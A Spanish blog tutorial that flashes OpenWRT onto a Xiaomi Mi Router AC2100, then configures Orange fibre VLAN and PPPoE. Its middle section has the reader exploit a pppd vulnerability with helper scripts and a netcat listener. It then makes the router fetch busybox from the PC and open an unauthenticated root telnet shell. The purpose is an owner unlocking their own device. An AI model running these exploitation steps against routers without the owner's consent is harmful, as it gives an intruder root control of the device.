Tal y como prometí en la review, os traigo el vídeo del cambio de firmware del Mi Router AC2100 a OpenWRT para sacar el router del ecosistema de Xiaomi y abrir las puertas a una configuración mucho más avanzada.
NOTA: Antes de seguir, después del cambio, he notado mejoría a nivel de gestión de la red local por cable, ya que ahora el test si que da los 500 MB simétricos, pero, en cuanto a la WiFi, no he podido levantar todavía la de 5 Ghz.
En mi caso no era un problema mayor ya que iba a usar la WiFi del AX3600, y, además, no veo que la gente se queje de ese problema, por lo que puede ser algo aislado lo que me ha pasado a mi, pero, advertidos estáis. Además, he leído que ha habido gente que le pone los drivers propietarios en OpenWRT y mejora el rendimiento mucho más. Supongo que acabará habiendo una versión con los drivers ya incluidos.
Tutorial para cambiar el firmware al Xiaomi Mi Router AC2100 a OpenWRT
Para que os resulte más sencillo de seguir el vídeo, os pongo aquí los comandos de la guía para lo podáis seguir copiando y pegando.
Instalación de lo necesario
Como digo en la guía, es necesario instalar Python3 y netcat para poder funcionar y, posteriormente pip haciendo uso del gestor de paquetes de vuestra distribución. Una vez que tengáis eso (podréis hacerlo con vuestra distribución de Linux sin problemas) podréis instalar scapy con:
pip3 install scapy
Ahora nos descargaremos el repositorio de la guía, ya sea con el zip o con el siguiente comando:
git clone https://github.com/impulse/ac2100-openwrt-guide.git
Ahora, comprobamos si los binarios están correctos:
sha256sum *bin
La salida debería ser algo así:
9242477eaa7df12e00d369d5132b754b76af7dc8e7f4cd9e1c1483aba824ebbe xiaomi-router-kernel1.bin 141d6af6ae3b41c44fe8fe3728638acf1b286e5f204cd16381593c10f2cdd94c xiaomi-router-rootfs0.bin e53c69e2443154feb80320ebc1c58c10e08076f132291f01d9d7f5160c0aed6c xiaomi-router-sysupgrade.bin
Ahora nos toca reiniciar el router. Para ello, lo encendemos, esperamos que se ponga azul la luz y pulsamos el botón reset hasta que se ponga amarillo (o naranja). Una vez hecho eso, le quitamos la alimentación. Cuando tengamos el router sin alimentación, ponemos los cables de red como se ven a continuación:
El siguiente paso sería configurar nuestra tarjeta de red para tener los siguientes datos en lugar de automático, pasamos a manual y ponemos:
IP: 192.168.31.177 Máscara de red: 255.255.255.0 Puerta de enlace: 192.168.31.1
Aceptamos los cambios y conectamos el router de nuevo a la corriente y, cuando la luz esté azul, hacemos ping para ver si llegamos al router con:
ping 192.168.31.1
Si la salida nos retorna con los milisegundos (ms) que tarda, es que podemos seguir. Ahora nos tocaría ver donde tenemos conectado nuestro router en nuestro pc, para ello, lanzamos el comando:
ifconfig
Ahora debemos fijarnos en el que lleva la configuración de nuestra ip 192.168.31.177:
Y copiaríamos el nombre, que, en mi caso es enp7s0. Tendremos que editar tanto el script ppd-cve.py como el pppoe-simulator.py para poder poner ese dispositivo en donde pone “interface”, lo pondremos sustituyendo el “en7” dejando las comillas (está al principio de los scripts). Otro cambio importante es mirar la MAC de vuestro router y coger los 6 primeros caracteres, en mi caso, tuve que cambiar de:
if src.startswith("88:c3:97") or src.startswith("8c:53:c3") :
a:
if src.startswith("50:d2:f5") or src.startswith("8c:53:c3") :
Sin este cambio, el xploit para poder saltarnos la seguridad del router, no pude hacerlo funcionar.
Ahora nos vamos al navegador y abrimos la ip 192.168.31.1 para ver esto:
Pulsamos en el botón azul si no te sale lo que te marco aquí:
Comienza el ataque
Ahora nos toca aprovecharnos de un fallo de seguridad que tiene el Mi Router AC2100 par poder entrar al router y lanzar un servidor Telnet para poder flashear desde dentro. Abriremos un terminal de consola con varias pestañas y todas ellas nos iremos al directorio donde tenemos lo que hemos bajado del repositorio. En la primera, lanza:
sudo python3 pppoe-simulator.py
Ahora, en la pantalla del navegador, pulsamos en donde pone PPPOE y nos pedirá un usuario y contraseña, ponemos 123 en ambos campos y pulsamos el botón azul de abajo. Si miramos la pestaña donde hemos lanzado el script anterior, debería salir texto como que ha tenido actividad. Ahora, se quedará como en una pantalla de login y lo dejaremos minimizado.
Nos vamos a otra pestaña y lanzamos:
sudo python3 -m http.server 80
Y en otra pestaña lanzamos
sudo netcat -nvlp 31337
Ahora tenemos un servidor web en una y la aplicación netcat en otra, ambos escuchando posibles paquetes que lleguen, por último, en otra pestaña lanzaremos el comando:
sudo python3 pppd-cve.py
al poco, veremos que se ha lanzado un paquete y si miramos en netcat hay una conexión nueva desde el router. En esta ventana (la de netcat) es donde tenemos que lanzar una serie de comandos. Ojo, la conexión se podría cerrar por lo que habría que volver a repetir los pasos desde “sudo python3 -m http.server 80”. Los comandos a lanzar son:
cd /tmp wget http://192.168.31.177/busybox chmod a+x ./busybox ./busybox telnetd -l /bin/sh
Si has podido lanzarlos todos, ahora debe ser posible hacer telnet contra el router, para ello, hacemos:
telnet 192.168.31.1
Y, si nos devuelve una consola como esta:
Ya estaremos dentro del router y podemos descargarnos los firmware y flashearlos, para ello:
wget http://192.168.31.177/xiaomi-router-rootfs0.bin wget http://192.168.31.177/xiaomi-router-kernel1.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit
Si no ha dado problemas en la descarga, podréis pasar al último paso que es el flasheo:
Primero: mtd write xiaomi-router-kernel1.bin kernel1 Después: mtd -r write xiaomi-router-rootfs0.bin rootfs0
Ahora tendríamos nuestro Mi Router AC2100 con OpenWRT, y se debe reiniciar. Una vez que se ponga azul la luz de nuevo, podremos probarlo. Para poder probarlo con normalidad, tendremos que volver a dejar nuestra tarjeta de red con la configuración de antes (lo normal es que sea automática), quitar los cables que hemos puenteado y conectar a internet el router.
Por cierto, el usuario por defecto (cambialo en la primera entrada es usuario root y contraseña password)
Como he dicho al principio, la WiFi en 2.4Ghz funciona bien, pero, la de 5Ghz no he sido capaz de hacerla funcionar, esto será cosa de días/semanas que todo vaya a la perfección, por lo que si veis que no está actualizado el tutorial y que ya va todo bien, podéis decirlo para que actualice el tutorial.
ACTUALIZACIÓN: Con la última versión, la WiFi en 5Ghz me funciona sin problemas y con un rendimiento bastante bueno, llegando en el móvil a mas de 200MB/s.
Configuración del router Xiaomi para quitar el router del operador
Como muchos han preguntado en el grupo de Telegram para poder cambiar el router del operador, si tenéis un router y el ONT por separado (como es mi caso) os explico como lo he podido configurar:
- Como tengo Orange la VLAN es la 832 (si fuera NEBA sería la 20) nos vamos a Network > Switch y tendremos 2 VLANs creadas, le damos a añadir una nueva y en VLAN ID ponemos 832 (o la que corresponda). La primera columna y la última (WAN) estarán puestas a Tagged. Le damos a Save & Apply.
- Nos vamos a Network > Interfaces y le damos a Añadir uno nuevo. En nombre podemos usar DHCP y elegimos DHCP Client y, como interfaz elegimos la VLAN creada
- Ahora editamos la WAN y ponemos como protocolo PPPoE y en usuario y contraseña ponemos (usuario: orangeuser@orangeadsl y contraseña: orangeuser123) y, en Physical Settings elegimos la VLAN que hemos creado). Le damos a Save
- Ahora editamos WAN6, elegimos DHCP client y en Physical Settings ponemos la VLAN que hemos creado.
Ahora podemos Salvar y aplicar y en Status debería salir la IP de nuestro router. Ojo, si tenéis teléfono y tele, es necesario crear otras subredes en otros operadores, os comento mi caso que se que funciona. Si alguno lo configura para televisión y teléfono y quiere compartir la info, la publico para que le sirva a más gente en este tutorial del Mi Router AC2100.
Guía que he seguido aquí. Para la configuración de la fibra, lo he sacado de aquí.
Binarios para poder actualizar cuando haya nueva versión aquí (Yo uso la versión estándar y se flashea por la web la sysupgrade)
Compra: Banggood
Ubuntu en Windows 10, no se a qué te refieres con activado el firmware... no piloto mucho de esto